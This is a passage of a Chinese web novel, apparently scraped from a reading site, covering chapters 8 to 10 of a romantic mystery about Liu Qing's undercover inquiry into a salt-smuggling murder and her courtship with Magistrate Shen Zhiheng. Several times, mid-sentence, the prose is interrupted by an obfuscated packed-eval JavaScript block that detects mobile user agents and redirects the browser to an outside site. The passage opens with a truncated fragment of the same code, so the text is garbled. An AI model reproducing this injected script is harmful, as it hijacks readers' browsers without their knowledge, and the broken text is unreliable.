l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572341|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起自己还有正事要说，忙拱手道：“回大人，城外码头发现一具尸体，看穿着打扮像是商会的人，属下已命人封锁现场，还请大人示下。” 沈之衡眉头一皱，这案子一件接着一件，还真没个消停的时候。 他有些不耐烦地挥了挥手，“知道了，本官这就去看看。杨捕头且先去歇息罢，天色已晚，切莫累坏了身子。” 杨观虽然不解风情，但也瞧出了沈之衡对柳清的不同寻常，他识趣地闭上嘴，又向两人分别行了一礼，便转身离开了。 沈之衡目送杨观离开，待他走远后，才转头看向柳清，却见她已经走到院门口，也准备离开。 他心中一急，顾不得许多，几步上前拉住柳清的手腕，将她拽了回来。 “这是急着去哪？怎么，和杨捕头聊得投机，迫不及待要叙旧去了？” 沈之衡语气酸溜溜的，活像吃了一坛子醋。 沈之衡的举动太过突然，柳清心头一颤，待反应过来时，发现自己的手腕还被他牢牢握着。 顾忌沈之衡胳膊上有伤，柳清没敢大力挣扎，不满道：“沈大人这是做什么？拉拉扯扯，成何体统！” 沈之衡猛然惊醒，不自然地清了清嗓子，掩饰着方才的失态，但望向柳清的眼神却多了几分探究，“我只是想问问，你与那杨捕头究竟是何关系？他为何对你……” 他顿了顿，似乎在斟酌用词，“……如此特别？” 柳清揉了揉被捏红的手腕，“沈大人想多了，杨捕头是家父生前的旧部，对我多有照顾罢了，沈大人不必放在心上。” “只是旧部？”沈之衡眉梢一挑，显然不信，“柳姑娘可别忘了，如今你我可是有婚约在身的人。” 沈之衡这副仿佛抓到妻子红杏出墙的语气，逗得柳清差点笑出声来。她眼波流转，似笑非笑地反问：“怎么，沈大人这是打翻了醋坛子了？” 沈之衡被她一语道破心思，脸上顿时有些挂不住，却还是嘴硬：“胡说八道！我为何要吃醋？我只是……” 他顿了顿，想解释什么，却又不知该如何开口。 见沈之衡吃瘪，柳清心中暗爽，但她也知道适可而止，便收敛了笑意，语气认真道：“沈大人放心，我柳清说过的话，一定会算数，等查清家父的案子，我便嫁给你，决不食言。” 明月高悬，清辉洒落，沈之衡凝望着柳清离去的方向，心中思绪翻涌。 他下意识想抬手揉揉眉心，却牵动了胳膊上的伤，疼得他倒吸一口凉气。 柳清的话，在他耳边一遍遍回响，明明是她亲口许下的承诺，他却高兴不起来。 她答应嫁给他，不过是为了查案罢了。 一想到此，心中就如同吞了黄连一般，苦涩难言。 夜深人静，沈之衡躺在床上，却毫无睡意，脑海中反复回放白日柳清在林中奋力救他的场景。 明明是个娇俏姑娘，却像头蛮牛一样，竟能将他打横抱起。 想起柳清额上因紧张而渗出的汗珠，想起她因为用力而微微颤抖的手臂，沈之衡的心跳便不受控制地加速。 他翻来覆去，辗转难眠，索性起身，走到书桌前，借着月光研磨写字，试图平复心中异样的情绪。 然而，笔尖落下，写下的却不是平日里那些引经据典的诗词文章，而是一个“清”字。 8. 第 8 章 出了县衙，柳清并未径直归家，而是折路去了城郊，在一间驿馆前驻足。 黑狼山下的驿站往来繁忙，除了寻常的递送书信，也接些护镖、客居的生意。 这处地界虽归清河县管辖，但因山上盘踞着山匪，连官府也忌惮几分，久而久之便成了三不管地带。 不过好在黑狼寨也并未扰民，只偶尔掠劫过往商队，日子倒也相安无事。 因而柳清到此地时，驿站内灯火通明，颇有几分热闹景象。 柳清轻车熟路，寻到正在打点今日信件的一黑袍男子面前，未等他开口，“咚”的一声直直跪了下去，“老鹰大人！您可要给我师傅做主啊——” 声音之大，表情之悲痛，动作之哀切，顿时吸引了驿站内所有人的目光。 那名唤老鹰的黑袍男子怔愣片刻，瞪着眼睛问：“夯货，你师傅是何人？为何不寻县太爷做主？” 柳清一副要把嗓子吼破的架势，开始告状：“我那可怜的师傅，正是黑狼寨的二当家，路飞老爷！他、他被官府抓走啦——” …… 嚎了大半个时辰，柳清归家的时候，已入了后半夜。 浅睡了不多时，天光微亮，她便张罗着起床，没选择平日里那些娇俏的衣裙，而是翻出一套粗布短打，利落地穿在身上，一头青丝也高高束起，整个人显得英姿飒爽。 昨夜下了小雨，空气中弥漫着淡淡的泥土气息。 推开窗，柳清深吸一口气，决定再去码头碰碰运气。 往日里人来人往、热闹非凡的码头，如今已是一片清冷萧条。 稀稀拉拉几个工人坐在货箱上，有一搭没一搭地闲聊着，脸上满是愁苦之色。 “哎，听说了吗？赵三那小子昨天被抓了，说是贩私盐，被抓了个正着！” “可不是嘛！前些日子，李四也被抓了，现在官府查得严，谁还敢碰那玩意儿啊！” “唉，这年头，真是活一天算一天，谁知道明天会发生什么呢？” 柳清将这些话听在耳中，眉头微蹙。她原想继续扮作苦力打探消息，看来这条路行不通了。 正在犯愁之际，码头角落里的一家茶肆吸引了她的注意。 与这冷清的码头格格不入的是，茶肆门口挂着两盏大红灯笼，在晨风中摇曳，格外引人注目。 之前这里有灯笼吗？ 柳清心中一动，径直朝茶肆走去。 店里冷冷清清，只一个年轻老板百无聊赖地坐在柜台后，手里拿着算盘拨弄，见柳清进来，也只是懒洋洋地掀了掀眼皮，漫不经心地问：“姑娘，喝茶啊？” 柳清不动声色地打量着茶肆的环境，只见茶肆不大，却收拾得格外干净，几张红木桌椅擦得锃亮，墙上挂着几幅字画，角落里还摆着一盆开得正艳的兰花，透着一股说不出的雅致。 “老板好兴致，这码头都冷清成这样了，还有闲情逸致品茶赏花呢。”柳清状似随意地走到柜台前，随手拿起一把茶壶，细细端详。 老板闻言，笑了笑，不以为意道：“姑娘说笑了，这日子再难过，不也得过下去吗？与其唉声叹气，不如喝口热茶，静观其变。” “老板高见。”柳清放下茶壶，眼波流转，唇边一抹笑意意味深长，“只是不知，老板这茶肆里，除了茶，可还有什么其他消遣？” 老板脸上的笑容一僵，目光锐利地看向柳清，试探道：“姑娘这话，是什么意思？” 柳清也不绕弯子，开门见山道：“老板，明人不说暗话，你门前那两个红灯笼，是在给什么人通风报信吧？” 老板闻言，瞳孔微缩，脸上笑容也消失殆尽，他上下打量了柳清一番，见她虽一身粗布短打，却难掩眉宇间的贵气，心中暗自警惕起来。 沉默半晌后，他放下算盘，从柜台下取出一只茶杯，动作娴熟地烫杯、温杯、投茶，一系列动作行云流水。 “姑娘好眼力，”老板将一杯热气腾腾的茶递到柳清面前，“实不相瞒，这灯笼确实另有含义，但并非给什么人通风报信，而是庆祝。” “庆祝？这是何意？” 老板将桌上的水渍抹干净，这才压低了声音说道：“姑娘有所不知，昨天夜里这码头上不太平，死人了。” 这事柳清知道，昨天杨观找沈之衡禀告的时候，她就在现场。不过当时只当是寻常案子，没放在心上。 “死人了？”柳清故作惊讶，心里却暗暗思量，这老板如此郑重其事，莫非死者身份不简单？ 她不动声色地端起茶杯，轻抿了一口，茶香四溢，入口微苦回甘，竟是上好的碧螺春。 “可不是嘛，而且死的还是个大人物，是聚财商会里的一个管事，那人平日里没少仗着商会的势力作威作福，码头上大多数人都受过他的气。” 老板说到这儿，故意顿了顿，观察着柳清的神色。 柳清配合着露出好奇的表情，“那这人是怎么死的？难道是遭了报应？” “那恶棍啊，被挖眼拔舌，开膛破肚，死状及其凄惨，而且啊，浑身还被抹满了白花花的盐粒，看着和腌腊肉似的……”老板说着，脸上满是心有余悸的表后怕。 盐粒！ 柳清心头一跳，放下茶杯追问道：“竟如此残忍？那凶手可有眉目了？什么人这么胆大包天，就不怕聚财商会的报复吗？” 老板摇摇头，“这我就不清楚了，总之这码头终于少了个欺压百姓的恶霸，我心里高兴啊，便把过年时的灯笼翻出来挂上了。” 柳清默默观察老板的神色，见他眉飞色舞，不似作伪，心中暗道：看来这老板对那管事积怨已久，只是不知其中是否另有隐情。 “原来如此。”柳清微微颔首，似是了然于心。她款款起身，整理了一下衣袖，作势要走，“多谢掌柜款待，时候不早了，我也该回去了。” 老板见柳清要走，起身相送，一直送到门口，才像是突然想起什么似的问道：“对了，还未请教姑娘芳名？” 柳清微微一笑，“叫我阿柳便是，不知老板如何称呼？” “我姓秦，单名一个暮字，阿柳姑娘唤我秦暮即可。” “秦暮……”柳清将这两字在舌尖过了一遍，不知为何，总觉得有些耳熟，却又怎么也想不起在哪里听过。 一出茶肆，外头日头正盛，柳清抬手遮了遮眼，脑中仍回味着方才茶肆内听到的消息。 这秦老板，看似只是个寻常开茶肆的，但观其言谈举止，却非泛泛之辈。 更兼他特意提及那管事死状，以及那句“庆祝”，都颇为古怪。 更令柳清在意的是，那管事死后“浑身抹满了白花花的盐粒”，这让她不免想起自己此行的目的——私盐。 如今这世道，斗米千钱，食盐难求，竟有人以此等珍贵之物行凶，想来绝非寻常百姓。 那凶手若不是财大气粗，就必定和私盐有关！ 想到此处，柳清突然福至心灵，那位惨死的商会管事，或许就是解开谜团的关键！ 管事唤作王福，年过三旬，尚未娶妻，城中有个开豆腐铺的远房表姨，生意做得颇为红火，柳清决定去会会这位表姨。 为了不引人注目，她特意找出家中厨娘穿烂的衣裳，长发用粗布巾子包起来，又用锅底灰将皮肤涂黑了几分，摇身一变，成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572342|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰头土脸的乡下妇人。 王家豆腐的铺面比柳清想象中气派得多，竟是座两层小楼，门面阔绰，门口还拴着一头肥头大耳的毛驴，正悠闲地甩着尾巴。 柳清见状，心中暗道：做豆腐竟能这么挣钱，果真是背靠大树好乘凉。 她挑帘进了铺子，只见屋内顾客盈门，热闹非凡。 一位体态丰腴的妇人正立于门口，声如洪钟地招徕着客人：“新鲜豆腐脑，香喷喷嫩滑滑的豆腐脑嘞！” 那妇人便是王福的表姨，人称王婆。 柳清走上前，堆起讨好的笑，操着不知从哪学来的乡下口音问道：“掌柜的，嫩们店里还招人吗？” 王婆上下打量柳清一番，见她虽衣着朴素，但目光如炬，脚大如船，一看就是个干活的料，便问道：“你可会做豆腐？” 柳清摇摇头，“不会，但俺可以学。” 王婆嗤笑一声，“我说你这丫头，好生不知羞，我这祖传的手艺，岂是你说学就能学的？快走快走，别耽误老婆子做生意，我这磨盘啊，都是用驴拉的，不缺你一个！” 柳清早料到她会这么说，眼珠一转，计上心来。 她指着门口那头正在打盹的毛驴，笑嘻嘻道：“掌柜的，嫩看这驴多懒啊，一天到晚就知道吃，哪有俺勤快？嫩就让俺试试吧，俺力气大着呢，保证比驴还能干活！嫩就给俺口饭吃就行，工钱俺一分不要！” 王婆一听这话，顿时来了兴致。 这年头，肯不要工钱干活的还真是少见，看来这丫头是个傻的！ 王婆心中暗喜，这驴每天要吃不少草料，要是能省下来，可就能多赚不少银子了。 她眼中精光一闪，故作沉吟道：“你这丫头，倒是有些意思。只是这推磨是个力气活，你当真吃得消？” 柳清拍着胸脯保证：“当然是真的！俺这人别的本事没有，就是力气大，不信嫩瞧！” 说罢，她走到门口，双手拖住驴腹，猛地一用力，竟将那头数百斤重的毛驴硬生生举了起来！ 那毛驴猝不及防，四蹄腾空，惊慌失措，嘶叫不止。 王婆瞧这情形，登时惊得下巴都合不上了，周围来往的行人也纷纷驻足围观，更有那看热闹的拍手叫起好来。 柳清见效果达到，便将毛驴放下，拍了拍手，一脸轻松道：“掌柜的，嫩看俺这力气，够不够格在嫩这儿干活？” 王婆见了，喜不自胜，这回可真是得了宝了！忙不迭地招呼柳清进铺子，生怕她跑了似的。 “哎呀，丫头，你可真是女中豪杰啊！有你这样的力气，还怕我这豆腐磨不动吗？快进来快进来，咱这就开始干活！” 柳清随着王婆进了后院，但见院落一侧黄豆堆积如山，另一侧则是一排磨盘，足有十数个，每个磨盘都配着一头驴，正吃力地拉着磨，发出吭哧吭哧的声响。 王婆将一头拉磨的驴牵走，让柳清替了它的位置。柳清当即卷起袖子便开始推磨。 她天生神力，推起磨盘来毫不费力，速度之快看得王婆一愣一愣的。 “哎呦喂，你这丫头，真是神了！比我家那懒驴快了不止一倍！你叫啥名儿啊？哪儿人啊？”王婆一边手脚麻利地舀着豆子，一边笑眯眯地和柳清攀谈起来。 柳清嘴里嚼着王婆刚塞的豆沙包，含糊不清地答道：“俺叫翠花，从山沟沟里来的，家里穷得叮当响，就俺这把子力气，这不出来讨口饭吃嘛。” 王婆一听，心中愈发欢喜，这年头，谁会跟银子过不去？便指着那小山似的豆子，对柳清道：“翠花丫头，你今日好生干活，把这些豆子都磨完，晚上老婆子我给你添个鸡腿！” 9. 第 9 章 夕阳西下，倦鸟归巢。 柳清推了一整日磨盘，早已腰酸背痛，饥肠辘辘。 几头磨道的驴倒似闲庭信步，悠然自得地嚼着干草，偶尔还偏过头来，似是嘲笑她白费力气。 柳清心中叫苦不迭，早知如此辛苦，便该向王婆讨些工钱才是！ 好不容易挨到下工时间，王婆才遣人送来一碗糙米饭。柳清早已饿得不行，也顾不得斯文，端起碗便狼吞虎咽起来，转瞬间便见了底，竟没尝出那碗底的小鸡腿是何滋味。 一碗下肚，柳清舔了舔嘴角的米粒，仍觉得腹中空虚，便又添了第二碗，第三碗，这才堪堪吃饱。 本还想再添第四碗，可又怕王婆嫌她吃得多，断了这卧底的路子，只得作罢。 王婆瞧着柳清吃饭，越看越觉得心中不快。 这丫头，吃饭跟饿死鬼投胎似的，哪有一点姑娘家的样子？ 她原本想着，这丫头看着瘦弱，就算力气大些，饭量总不会大到哪里去，哪成想竟是个饭桶！早知道这么能吃，当初就该少说那一个鸡腿！ 只是心中虽这般计较，转念一想，这丫头吃得再多，总归比不得那拉磨的驴吃得多，便也不好再多说什么了。 柳清将碗底舔得精光，心满意足地摸了摸圆滚滚的肚子，准备回家。谁知刚踏出豆腐铺的门，便迎面撞上一位身着锦衣的男子。 定睛一看，竟是早前在码头茶馆有过一面之缘的秦暮秦老板。 秦暮一眼就认出了她，热情地招呼道：“阿柳姑娘，真是有缘，又碰见你了！” 柳清闻言，心头一惊，却不敢贸然相认，毕竟，她现在可是村妇翠花。 谁料，秦暮却似完全没看出柳清的慌张，还想继续寒暄。 所幸豆腐铺里此刻并没有多少人，柳清趁机拉着秦暮往没人的地方走，“秦老板，此处不方便，借一步说话。” 到了僻静之处，柳清左右看了看，确定无人注意后，才压低了声音解释道：“秦老板，实不相瞒，小女子实在是迫切需要一份营生。你也知道，如今这世道不太平，想寻个活计谈何容易。我为了让王婆收留，只好编了个‘吃苦耐劳’的人设，还说自己叫翠花，从山沟沟里来的。” 柳清说到此处，面上适时浮起一抹尴尬之色，宛如当真对自己虚构的身世感到了羞愧，“所以啊，还请秦老板帮我保密，千万别说漏嘴了！” 秦暮听后，先是一愣，随即恍然大悟，看向柳清的神情多了几分理解和怜惜。 他注意到柳清身着一件粗布厨娘衣裳，浆洗得发白的衣料上满是补丁，误以为她是在这豆腐铺里做工的厨娘，心中不禁生出一股想要帮衬的念头。 “原来是这样。”秦暮叹声道，“不瞒姑娘，舍妹再过几日便是及笄之礼，家中打算大办宴席，到时候免不了缺人手。我看姑娘心灵手巧，不如来帮厨几日，也算补贴家用，如何？” 他说得诚恳，足见对柳清的遭遇感同身受，确是真心实意想要相助。 柳清闻言，心头一暖，看向秦暮的目光中多了些感动。 回想初见，当时她就觉得这位秦老板丰神俊朗，如今细细看来，更兼剑眉星目，唇红齿白，再加上心地如此善良，实在让人心生好感，难以拒绝。 然而，柳清却犯起了难。 若是换成村妇翠花，面对这样的好机会，自然会满口答应，感激涕零。 但关键是，柳清并非真的厨娘，只是来卧底打探消息罢了。 更何况，她对于烹饪之道一窍不通，连最基本的饭菜都做得马马虎虎，更别提什么精致的礼宴菜肴。 柳清心里暗暗叫苦，若是直接拒绝秦暮的好意，未免显得太过刻意，反而容易引起怀疑。 她思忖片刻，最终还是勉强答应下来，打算走一步看一步，再寻机脱身。 秦暮见她应允，脸上笑意更浓，又寒暄道：“说来惭愧，上午在茶馆初见姑娘，姑娘谈吐不凡，气质优雅，我还以为你是哪家娇养的大小姐，眼下再见，竟是这般光景……” “秦老板说笑了，什么大小姐，不过是穷人家的孩子早当家罢了。以前在家里，我也只是做些粗活，哪里懂得什么谈吐优雅。” 柳清说到此处，眸光微黯，语气中透出些苦涩，“只是家中遭逢变故，不得不流落至此，好在王婆心善，愿意收留我，这才有个遮风挡雨的地方。” 柳清这番话说得半真半假，却将一个家道中落、被迫流离失所的可怜女子形象演绎得淋漓尽致，就连秦暮这样阅人无数的生意人也未曾察觉出半分破绽。 气氛一时有些沉重，秦暮见她面容戚戚，于是识趣地换了个话题，“对了，不知姑娘可曾婚配？我有幸识得几位媒婆，若是姑娘有意，我便托她们留意着些，保管能为姑娘寻一门好亲事。” 柳清刚想喘口气，却又被这问题问得一滞。 她下意识想起沈之衡，脑海中浮现出那人清冷的眉眼，心中微微一动，便顺口答道：“乡下已有一个指腹为婚的未婚夫婿，就不劳烦秦老板费心了。” 秦暮离开后，柳清往身后墙上一靠，顿觉胸口一块大石落地，整个人都轻松了不少。 总算是把这事儿圆过去了，她拍了拍胸口，暗自庆幸。 想起方才的对话，她又忍不住叹了口气，这秦暮未免也太过热心，三句话不到就掏心掏肺，恨不得把家底都交代清楚。 不过，转念一想，还好他只是看着精明，原来也是个没什么心机的，几句话就被自己糊弄过去了。 这么说来，早前他说横行霸道的恶人死了，因而挂起红灯笼以示庆祝，也不是不能理解。 一阵凉风吹过，柳清揉了揉眉心，将那些繁杂的思绪一并抛到脑后。眼下，她还得去衙门一趟，看看沈之衡那边可有什么新的进展。 沿着街道一路向东，轻车熟路来到衙门口，平日里总是敞开的朱漆大门今日却是紧紧闭合，门前也空无一人，只两个石狮子静静蹲守在门口。 莫非今日衙门休沐？ 她正欲上前叩门，忽然想起怀中还揣着沈之衡那块亲眷令牌，便转过影壁，绕到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572343|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一旁的仪门处，闪身进了衙门内院。 柳清父亲在任时，他们一家并未住在衙门内院，而是住在城东柳府，是以柳清对这后院并不熟悉。 她凭着儿时模糊的记忆，沿着抄手游廊一路往书房方向寻去，谁知庭院深深，假山池沼，曲径回廊，七拐八拐的，竟迷失了方向。 “这衙门从外面瞧着也不算大，怎么内里这般曲折复杂，简直像迷宫一样。” 她正犯愁，一抬眼，瞧见不远处一间房门半掩着，院中还晾晒着几件湿衣裳，料想应该是衙门里仆役居住的地方。 柳清心中一喜，暗道：不如进去问问路，免得像个无头苍蝇似的乱撞。 她提步走到门前，正要抬手叩门，谁知那房门忽然从里面被人一把拉开，柳清躲闪不及，“哎呀”一声，惊呼出声的同时，她的手已经不受控制地向前，不偏不倚拍在了来人的胸口上。 触手弹润，柳清下意识想到曾吃过的一种牛背筋肉，有嚼劲却不费牙的那种。 父亲还在时，家中饭桌上时常出现这道卤牛筋肉，那是她儿时的心头好，筋肉卤得酥烂入味，带着一股子酱香，饶是母亲牙口欠佳，也爱得不行。 后来家道中落，这道菜便成了奢侈，如今再想起那滋味，竟是…… 等等，现在不是想那些的时候！ 柳清如梦初醒，触电似的向后弹开，门内的沈之衡显然也没料到这种意外，原本往外迈的脚就这么僵在半空中，进也不是，退也不是。 喉结上下一滚，沈之衡清了清嗓子，哑声问：“你怎么来了？” 柳清这才发现，站在自己面前的人，正是沈之衡。 他并未穿官服，只随意穿着一件松松垮垮的白色里衣，领口微微敞开，露出线条流畅的锁骨。几缕湿发不羁地贴在额前，脸上还带着未干的水珠，分明是刚沐过浴的模样。 怎么这么早就沐浴？莫不是屋里藏了美娇娘？ 柳清心中疑窦丛生，一双杏眼滴溜溜地在沈之衡身上打转，又忍不住伸长脖子，试图越过他的肩膀往屋里瞧。 沈之衡虽不知她心里的那些小九九，但见她这副鬼鬼祟祟的模样，便猜到她定又在胡思乱想些什么。 “你这般毛毛躁躁的，成何体统？我换身衣裳，你且在外面等等。” 沈之衡伸出食指，抵住柳清的额头，轻轻将她往后推。 随着一声轻响，房门缓缓阖上，将柳清关在了门外。她揉了揉鼻子，鼻尖似乎还萦绕着一丝皂角的清香，夹杂着男子身上特有的气息，说不清道不明，却莫名让人心安。 “哦。”柳清乖乖退到院子中央，百无聊赖地站了一会儿，目光落在了院子里那几件湿衣服上。 挂在最外面的是两件竹青色中衣，样式简单，针脚细密，显然是男子的款式。 旁边还搭着几件床单、布巾，都带着一股淡淡的皂角清香，和方才沈之衡身上的一模一样。任谁来看，都觉得这是间再普通不过的仆役浆洗房，谁能想到，堂堂县太爷，竟会衣衫不整地从这里走出来？ 10. 第 10 章 未过多久，吱呀一声，房门再次打开，沈之衡迈步而出。 他已换上一袭月白长衫，墨发用白玉簪松松挽起，几缕青丝不经意地垂在耳畔，更衬得他眉目如画，丰神俊朗。 沐浴过后残留的慵懒随意消失不见，取而代之的是矜贵清冷的气质。柳清一时看得痴了，竟忘了收回目光。 沈之衡手中执着一件披风，向柳清身上披去，见她并未拒绝，嘴角勾起一抹几不可察的弧度。 垂眸时，沈之衡的目光落在眼前人身上，发觉她衣衫上打着补丁，显然是件该淘汰的旧衣裳，剑眉微蹙，开口问道：“你怎会穿成这般模样？家中可是困顿？” 柳清借着拢披风的动作，错开视线，“没有的事，我只是不拘小节罢了。” 她胡乱编了个理由，又快速转移话题：“倒是大人，怎的这般早就沐浴更衣了？” 沈之衡见她神色闪烁，心中虽仍存疑虑，却也不便再多问，只淡淡道：“方才去牢中提审犯人，身上沾了些污秽之气，便沐浴更衣一番，顺手也洗了几件衣物。” 柳清的目光落在那几件还带着水汽的衣裳上，“你亲手洗的？”她指了指晾衣架，语气里满是讶异，“县太爷的俸禄，不至于请不起洗衣裳的仆从吧？” 沈之衡轻笑一声，眉间却透着一丝无奈：“我啊，正打算在城中寻摸一处三进三出的宅院，宽敞明亮些的。如此一来，这月钱嘛……自然是要精打细算，多攒些彩礼钱，才能早日娶未来娘子过门。” 柳清闻言，脑中忽地闪过初见那日和沈之衡的对话。 当时她以为沈之衡要养她为外室，故意提了些不切实际的要求，本想着能吓退他，谁料沈之衡竟当了真。 思及此，柳清只觉脸上烧得慌，但随即念头一转，反应过来：“大人说笑了，沈家的家底，谁人不知，谁人不晓？只一处宅院而已，何须如此精打细算呢？” 沈之衡摇着头，故作苦恼地叹了口气，“我的未来娘子，必是要娇惯养着的，我若不精打细算些，只怕将来委屈了她。” 柳清见他装模作样的，心中颇为不爽，这沈之衡，平日里看着一本正经，没想到说起胡话来也是一套一套的。 这还未成婚，便开始给她画大饼，若是成婚后，怕不是要日日以此为借口拿捏她。 这么一想，便肚子里生了气，柳清抬眼欲瞪他一眼，却见他正含笑看着自己，目光中带着几分戏谑，几分认真，还有几分……说不清道不明的温柔。 四目相对，柳清只觉心跳骤然加速，让她一时之间竟忘了该如何反应，只能慌乱地移开视线，脸上却越发滚烫。 空气中弥漫着淡淡的皂角香气，隐约还传来一丝药香。 不对，药香？ 柳清猛然想起沈之衡胳膊上还有伤，纳闷道：“你那胳膊可好了？不是说让我今日再来上药吗？怎可随意沾水？” “这……我方才沐浴时格外小心，并未沾湿伤口。”沈之衡心虚地偏过头，只因他的伤口已经结痂，根本不需要再上药了。 可柳清不信，执意要查看他的伤势。她伸手去扯沈之衡袖子，口中还念叨着：“让我看看，可别沾了水发炎，影响断案就不好了。” 拉扯间，沈之衡不自觉掩唇轻咳了几声。 柳清见他咳嗽，唬了一跳，忙缩回手，“诶诶诶，我可没用力，你莫要装腔作势讹我！” 沈之衡咳得脸上浮起绯红，眼神飘忽，“我没事，只是方才……你敲门时，不小心拍到我胸口，害我……咳，岔了气。” 柳清起初不信，只当沈之衡是故意找借口寻她开心，可看他咳得脸红脖子粗，却又不像作伪，心中不免生出几分担忧。 莫不是真伤着了？她方才敲门时，好像没使多大力气吧？这沈之衡未免也太脆弱了。 想起昨日的约定，柳清又去拉扯他的袖口，只是这次刻意小心翼翼了些，“对了沈大人，你如此作为，不会是想赖账不给我情报吧？昨日我们可是说好的，我给你上药，你用情报交换。眼下你把伤口泡了水，难不成是在拖延时间？” 不得不说，沈之衡还真这么想过，不过他自然不能承认，待咳嗽稍缓，他便正色道：“本官向来一言九鼎，岂会做这等出尔反尔之事？你且附耳过来。” 柳清依言靠近，听得他说：“聚财商会的管事王福，昨日被人发现死在码头，且他身上存在大量私盐。” 柳清听罢，俏脸顿时垮了下来，“就这？” 沈之衡一愣：“就这？你有何不满意的？” 柳清撇了撇嘴，觉得沈之衡是在糊弄自己，“这线索我早就知道了，算不得数，你再说一条。” “那可不行，这桩交易到此为止了。”沈之衡板起脸，“你若还想再听一条线索，需得开始新的交易。” 柳清见他不肯再说，心中认定他是在糊弄自己，气鼓鼓地瞪着他，“沈大人好生狡猾，既如此，你便直说，还要我做什么？” “我要你……”沈之衡眸色渐深，带着几分审视的意味，朝柳清步步逼近。 柳清下意识向后退去，直到后背抵住冰凉的墙壁，退无可退，咫尺之间，呼吸相闻。 沈之衡目光锐利，仿佛要将她看穿，柳清心中竟生出几分慌乱，呼吸不觉一滞，心跳如鼓擂，震得她耳根发烫。 也是在这紧张的关头，柳清的肚子不合时宜地“咕噜”叫了一声。 她又饿了。 空气安静了一瞬，沈之衡后退一步，拉开两人间的距离，眉心微蹙，语气严肃道：“你可是没用晚膳？” 王婆给的那三碗糙米饭不知进了谁的肚子，柳清哪好意思说实话，她还没从刚才的压迫感中缓过神来，只得垂着脑袋，吞吞吐吐道：“没……没吃。” 沈之衡见她这般可怜模样，还以为她是真的生活拮据，食不果腹，心下不忍，“你且在这儿等着，我去寻些饭食过来。”说罢转身进了厨房，不多时里面便传来锅碗瓢盆的响动声。 柳清好奇，悄悄跟着探头望去，只见沈之衡挽着袖子，正在灶台边忙碌，火光映在脸上，竟有几分说不出的温柔。 柳清从未想过，平日里不苟言笑、威风凛凛的沈大人，竟然还有这样一面。 似是察觉到柳清的目光，沈之衡转头看过来，见她探头探脑的模样，嘴角不禁微微上扬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572344|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他放下手中的锅铲，解释道：“在下未来娘子希望我会一些烹饪之术，所以略懂一二。” 柳清回忆起自己之前确实说过这样的话，心中又是一阵羞愧，她没想到，沈之衡竟真将自己的戏言放在了心上。 沈之衡的手艺很好，不过几样家常小菜，却做得色香味俱全。 柳清尝了一口，眼睛一亮，忍不住赞叹道：“好厨艺！”说着便不再客气，大口吃了起来。 沈之衡看她毫不做作的模样，眼中笑意更深，只觉得心中一片柔软。 不过看着看着，又品出些不对劲。 他想起上次去铁匠铺拜访柳母时，柳家虽家道中落，却也并非食不果腹，心中不免起疑，莫非那日柳母是有意在他面前装体面？ 思及此，沈之衡对柳清更添了几分怜惜。 用饭中途，沈之衡出去一趟，再回来时，手里多了一个沉甸甸的钱袋，“些许碎银，你且收着，补贴家用也好。” 柳清自然不要，她家中境况并非如她表现的那般窘迫，不过是为方便查案，故意伪装罢了。 沈之衡见她推辞，以为她自尊心强，不愿平白受惠，便温言道：“你若是不嫌弃，不如来县衙做些文书整理的活计，每月也能有些俸禄。” 柳清心中暗暗叫苦，她还想着继续查案，哪有功夫在县衙做文书活计。 可沈之衡一片好意，她也不好直接拒绝，只得推脱道：“我粗鄙惯了，只怕做不来那精细的活计。” 沈之衡见她不愿，目光在她身上停留片刻，似是想到了什么，复又开口提议：“要不，你搬来县衙后宅居住吧，也好有个照应。” 柳清心想自己整日在外奔波，若是搬去县衙后宅，岂不是诸多不便？于是摇了摇头，再次拒绝。 沈之衡见她一再拒绝，心中不免有些焦急，他沉吟片刻，又道：“不如这样，你若是不嫌弃，日后便来县衙用晚膳吧。” 柳清刚想开口婉拒，沈之衡却忽而话锋一转，“你日后来县衙用晚膳，我便告诉你一条你想知道的线索，如何？” 世上竟还有这等好事？ 柳清眸子一亮，试探道：“大人此话当真？莫不是一顿饭便可换一条线索？” 沈之衡见她答应得如此爽快，怕她只是敷衍自己，便补充道：“一顿晚膳只能换一条线索，且要吃够三碗饭才行。你身子单薄，多吃些才好。” 柳清听闻此言，几乎想拍案而起，立刻吞下三碗饭，但她之前已经吃了王婆的三碗饭了，现在最多只能吃下两碗，看来这线索今天是拿不到了，颇觉遗憾。 